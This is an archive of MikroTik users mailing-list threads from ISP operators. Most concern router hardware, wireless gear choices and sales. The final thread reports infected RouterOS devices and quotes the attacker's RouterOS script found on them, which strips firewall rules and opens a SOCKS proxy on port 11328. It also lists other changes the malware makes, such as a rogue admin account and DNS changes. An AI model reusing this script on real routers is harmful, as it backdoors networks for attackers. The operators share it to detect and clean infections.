Re: [Mikrotik Users] Share single public ip to multiple private IP address

[Tim via Mikrotik-users]

No streaming issue or PlayStation issue with shared up and masquerade.  Someone 
is giving you a line of bs

Sent from my Verizon Wireless 4G LTE DROID

Ken Patrick via Mikrotik-users  wrote:

>___
>Mikrotik-users mailing list
>Mikrotik-users@wispa.org
>http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Equipment for sale cheap!

[Tim via Mikrotik-users]

I'll set some aside for sale.  How about 751 have boxes of them.

Any value in 433 and 711-5?

Thanks.

Sent from my Verizon Wireless 4G LTE DROID

Blair Davis via Mikrotik-users  wrote:

>___
>Mikrotik-users mailing list
>Mikrotik-users@wispa.org
>http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Equipment for sale cheap!

[Tim via Mikrotik-users]

751U

 

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Tim via Mikrotik-users
Sent: Saturday, September 24, 2016 4:54 PM
To: Blair Davis ; Mikrotik Users 
Subject: Re: [Mikrotik Users] Equipment for sale cheap!

 

I'll set some aside for sale.  How about 751 have boxes of them.

 

Any value in 433 and 711-5?

 

Thanks.

 

Sent from my Verizon Wireless 4G LTE DROID



Blair Davis via Mikrotik-users mailto:mikrotik-users@wispa.org> > wrote:

Well, I will buy small, older routerboards...

Plenty of places where I can use them.

 

--

 

On 9/24/2016 7:58 AM, T tech via Mikrotik-users wrote:

We trash this amount weekly.  The 400 series can not meet the current broadband 
levels and will negatively effect an entire network.  CPU time is the root 
issue.  Today's need dictate 600mhz minimum and pushing the need for 
800-1100mhz.

 

On Sep 23, 2016 2:15 PM, "Shawn C. Peppers via Mikrotik-users" 
mailto:mikrotik-users@wispa.org> > wrote:

Make me an offer.  Who ever takes them gets them all.  They are going in the 
trash otherwise. 

 

2 - Mikrotik Routerboard 411

3 - Mikrotik Routerboard 411AH

4 - Ubnt XR9

3 - Mikrotik 493AH

2 - XR2

1 - XR5

1 - R52-350

1 - R5H

 


Shawn C. Peppers 

Video Direct Satellite & Entertainment

866-680-8433   Toll Free

480-287-9960   Fax

http://www.video-direct.tv


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org <mailto:Mikrotik-users@wispa.org> 
http://lists.wispa.org/mailman/listinfo/mikrotik-users






___
Mikrotik-users mailing list
Mikrotik-users@wispa.org <mailto:Mikrotik-users@wispa.org> 
http://lists.wispa.org/mailman/listinfo/mikrotik-users





-- 
West Michigan Wireless ISP
Allegan, Michigan  49010
269-686-8648
 
A Division of:
Camp Communication Services, INC
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Which could be best radio for a ptp 200Mbps link?

[Tim via Mikrotik-users]

AC 922-5 with fiber at that distance will pass that traffic.  

The advantage of a 24ghz solution is a clean frequency.



Sent from my Verizon Wireless 4G LTE DROID

Blair Davis via Mikrotik-users  wrote:

>___
>Mikrotik-users mailing list
>Mikrotik-users@wispa.org
>http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] ubiquiti to mikrotik

[Tim via Mikrotik-users]

Please consider the metal9

The 411 xr9 and Xagyl has a much lower capacity.

 

But cannot mix metal 9 with the others

 

 

From: mikrotik-users-boun...@wispa.org
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Tommy Adams via
Mikrotik-users
Sent: Friday, February 24, 2017 3:25 PM
To: 'Hexis' ; 'Mikrotik Users'

Subject: Re: [Mikrotik Users] ubiquiti to mikrotik

 

The Mikrotik gear works fine on smaller deployments.  We have not updated
any of our firmware past 6.34.x, as somewhere in the 6.35 the pulled UNII-1
support.  So if you are doing a 5.8 GHz deployment, that is something to
look at.  Provided you keep your numbers low (less than 20), Mikrotik does
extremely well and gives the ISP total control as each SM is a proper
router.  We get infected customers or open port hacks from time to time, the
Mikrotik allows you to block the port instantly and stop the attack.  I
really like the features of the Mikrotiks, but the wireless throughput of
the UBNT gear is better for the faster connections.  The UBNT 900 product is
a joke and always has been.  We have some deployed and have nothing but
issues.  Interference kills it.  We have moved the PMP450 900 MHz, it is not
cheap but it works.  I suspect if you use rocket M9’s in shielding on towers
and only M9’s with yagi’s, it is usable.  The LOCO’s for us were almost
worthless.  We have put all those in RV parks for dedicated connections and
the distance is less than ¼ mile.  If there is any interference, the UBNT
900 gear falls on its face.  The Mikrotik 900 we have is using Arc panels
and Xagyl cards.  The Xagyl is a much better card than the XR9.  Much
better.  The Mikrotik in 900 MHz is decent, but about 10-12 meg is all you
will get on a 10 MHz channel and it is not MIMO.  

 

Mikrotik is really not pushing new tech in the wireless field.  I think UBNT
won this battle.  Many years ago, the founder of UBNT tried to sell his
product or join in with Mikrotik and they said no.  Wrong move.

 

 

---

Tommy Adams

Network Administrator

Digitex.com

 

817.558.6230 Voice

817.558.1204 Fax

 

 

 

From:  
mikrotik-users-boun...@wispa.org [ 
mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Hexis via
Mikrotik-users
Sent: Friday, February 24, 2017 7:37 AM
To:   mikrotik-users@wispa.org
Subject: Re: [Mikrotik Users] ubiquiti to mikrotik

 

Out of curiosity, how did the MikroTik perform in comparison to the ubnt
gear? I agree that Cambium gear in general is more well designed and GPS
sync is a must for urban areas, but some rural areas with limited LOS
require a cheap solution. In this case, do you pick ubnt or tik?

 

On 2/24/2017 7:31 AM, T tech via Mikrotik-users wrote:

At 200 devices we moved from ubnt to mikrotik at 1,600 we are evaluating
cambium 

 

Mikrotik positioned us for cambium

 

In 3-4 years mikrotik will be routing and inside wifi only

 

 

On Feb 23, 2017 9:38 PM, "David Milholen via Mikrotik-users"
mailto:mikrotik-users@wispa.org> > wrote:

+1000 on ePMP

 

 

 

On 2/6/2017 8:55 PM, Jason Wilson via Mikrotik-users wrote:

Look past mikrotik and towards cambium ePMP. 

 

On Feb 6, 2017 6:43 PM, "Jan-OOLLC via Mikrotik-users"
mailto:mikrotik-users@wispa.org> > wrote:

Thinking of moving from ubiquiti to mikrotik.  Has anyone else done
this?  I need sector antenna's is there a comparable Mikrotik product to
a Rocket for an AP?


--

Jan V

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users

 

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users

-- 

___ Mikrotik-users mailing list
Mikrotik-users@wispa.org 
http://lists.wispa.org/mailman/listinfo/mikrotik-users 

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] ubiquiti to mikrotik

[Tim via Mikrotik-users]

Do you want engineering documents and parts list?

Or?

 

 

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Don Spaulding via 
Mikrotik-users
Sent: Friday, February 24, 2017 3:11 PM
To: Mikrotik Users ; T tech 
Subject: Re: [Mikrotik Users] ubiquiti to mikrotik

 

Would you mind sharing details on how you build your towers?

 

I'm a flatlander, but we still have trees!

 

On Feb 24, 2017 1:34 PM, "T tech via Mikrotik-users" mailto:mikrotik-users@wispa.org> > wrote:

Tik metal 9.

 

All we do is rural/remote.  Hills and trees.  Los requires 128 feet of height 
so we also build light weight, low cost towers. 

 

 

 

 

On Feb 24, 2017 8:37 AM, "Hexis via Mikrotik-users" mailto:mikrotik-users@wispa.org> > wrote:

Out of curiosity, how did the MikroTik perform in comparison to the ubnt gear? 
I agree that Cambium gear in general is more well designed and GPS sync is a 
must for urban areas, but some rural areas with limited LOS require a cheap 
solution. In this case, do you pick ubnt or tik?

 

On 2/24/2017 7:31 AM, T tech via Mikrotik-users wrote:

At 200 devices we moved from ubnt to mikrotik at 1,600 we are evaluating 
cambium 

 

Mikrotik positioned us for cambium

 

In 3-4 years mikrotik will be routing and inside wifi only

 

 

On Feb 23, 2017 9:38 PM, "David Milholen via Mikrotik-users" 
mailto:mikrotik-users@wispa.org> > wrote:

+1000 on ePMP

 

 

 

On 2/6/2017 8:55 PM, Jason Wilson via Mikrotik-users wrote:

Look past mikrotik and towards cambium ePMP. 

 

On Feb 6, 2017 6:43 PM, "Jan-OOLLC via Mikrotik-users" 
mailto:mikrotik-users@wispa.org> > wrote:

Thinking of moving from ubiquiti to mikrotik.  Has anyone else done
this?  I need sector antenna's is there a comparable Mikrotik product to
a Rocket for an AP?


--

Jan V

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users

 

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users

-- 

___ Mikrotik-users mailing list 
Mikrotik-users@wispa.org   
http://lists.wispa.org/mailman/listinfo/mikrotik-users 

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users

 


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org  
http://lists.wispa.org/mailman/listinfo/mikrotik-users

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Charter/spectrum wisp?

[tim--- via Mikrotik-users]

In Michigan Charter use to be the company with the largest number of towers.  
They use to distribute their content wirelessly, then came fiber.



It seems natural they are using their assets again





From: mikrotik-users-boun...@wispa.org  On 
Behalf Of RickG via Mikrotik-users
Sent: Thursday, September 28, 2017 12:09 PM
To: Josh Luthman ; Mikrotik Users 

Subject: Re: [Mikrotik Users] Charter/spectrum wisp?



Are they leasing or building their own towers?



On Thu, Sep 28, 2017 at 11:21 AM, Josh Luthman via Mikrotik-users 
mailto:mikrotik-users@wispa.org> > wrote:

Comcast is, I would expect the subsidiaries to follow.






Josh Luthman
Office: 937-552-2340
Direct: 937-552-2343
1100 Wayne St
Suite 1337
Troy, OH 45373



On Thu, Sep 28, 2017 at 11:19 AM, Jan-OOLLC via Mikrotik-users 
mailto:mikrotik-users@wispa.org> > wrote:

Is Spectrum getting into the wisp business?

I saw in the short employment ad on tv a guy in a bucket plugging a POE
into what looked like some Cambium gear on a tower.

--
JV


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org 
http://lists.wispa.org/mailman/listinfo/mikrotik-users




___
Mikrotik-users mailing list
Mikrotik-users@wispa.org 
http://lists.wispa.org/mailman/listinfo/mikrotik-users







--

-RickG



---
This email has been checked for viruses by Avast antivirus software.
https://www.avast.com/antivirus
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

[Tim via Mikrotik-users]

This has been detected in devices with earlier versions of ROS.



From: mikrotik-users-boun...@wispa.org  On 
Behalf Of Scott Reed via Mikrotik-users
Sent: Monday, August 6, 2018 5:58 AM
To: mikrotik-users@wispa.org
Subject: Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27



It will also change device identity, change admin password, add Admin, add 5 
firewall filter rules to redirect forward traffic, change DNS server, enable 
DDNS, add IP Web Proxy rules and more, but that is all I remember off the top 
of my head.



On 8/5/2018 20:57, Bob Pensworth via Mikrotik-users wrote:

We are finding an IP/Socks connection:

We are finding an event entry in System/Scheduler

And the (below) script in System/Script:



/ip firewall filter remove [/ip firewall filter find where comment ~ "port 
[0-9]*"];/ip socks set enabled=yes port=11328 max-connections=255 
connection-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip 
firewall filter add chain=input protocol=tcp port=11328 action=accept 
comment="port 11328";/ip firewall filter move [/ip firewall filter find 
comment="port 11328"] 1;



--

Bob Pensworth, WA7BOB | General Manager

  CresComm WiFi, LLC | (360) 928-, x1



From: mikrotik-users-boun...@wispa.org 
   
  On 
Behalf Of Shawn C. Peppers via Mikrotik-users
Sent: Friday, March 16, 2018 11:54 AM
To: mikrotik-users@wispa.org  ; 
memb...@wisp.org 
Subject: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27



I have not tested this yet but



https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow

:: // Shawn Peppers

:: // DirectlinkAdmin.com 






___
Mikrotik-users mailing list
Mikrotik-users@wispa.org 
http://lists.wispa.org/mailman/listinfo/mikrotik-users





--
Scott Reed
SBRConsulting, LLC
Network and Wireless Consulting
WISPA Vendor Member
IN UMC Associate Lay Leader
SLI Coach Trained




 


Virus-free.  

 www.avg.com 





---
This email has been checked for viruses by Avast antivirus software.
https://www.avast.com/antivirus
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users